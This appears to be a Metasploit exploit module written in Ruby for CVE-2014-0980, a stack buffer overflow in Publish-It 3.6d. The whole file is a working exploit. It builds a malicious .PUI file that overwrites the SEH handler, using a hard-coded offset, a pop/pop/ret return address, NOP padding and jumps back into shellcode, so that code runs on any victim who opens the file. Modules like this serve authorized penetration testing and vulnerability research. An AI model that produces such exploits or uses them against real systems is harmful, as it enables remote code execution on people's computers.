##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Publish-It PUI Buffer Overflow (SEH)',
        'Description' => %q{
          This module exploits a stack based buffer overflow in Publish-It when
          processing a specially crafted .PUI file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of Publish-It to open a malicious .PUI file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniel Kazimirow', # Original discovery
          'Andrew Smith "jakx_"', # Exploit and MSF Module
        ],
        'References' => [
          [ 'OSVDB', '102911' ],
          [ 'CVE', '2014-0980' ],
          [ 'EDB', '31461' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x0b\x0a",
          'DisableNops' => true,
          'Space' => 377
        },
        'Targets' => [
          [
            'Publish-It 3.6d',
            {
              'Ret' => 0x0046e95a, # p/p/r | Publish.EXE
              'Offset' => 1082
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2014-02-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),])
  end

  def exploit
    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
    fd = File.open(path, "rb")
    template_data = fd.read(fd.stat.size)
    fd.close

    buffer = template_data
    buffer << make_nops(700)
    buffer << payload.encoded
    buffer << make_nops(target['Offset'] - payload.encoded.length - 700 - 5)
    buffer << Rex::Arch::X86.jmp('$-399') # long negative jump -399
    buffer << Rex::Arch::X86.jmp_short('$-24') # nseh negative jump
    buffer << make_nops(2)
    buffer << [target.ret].pack("V")

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end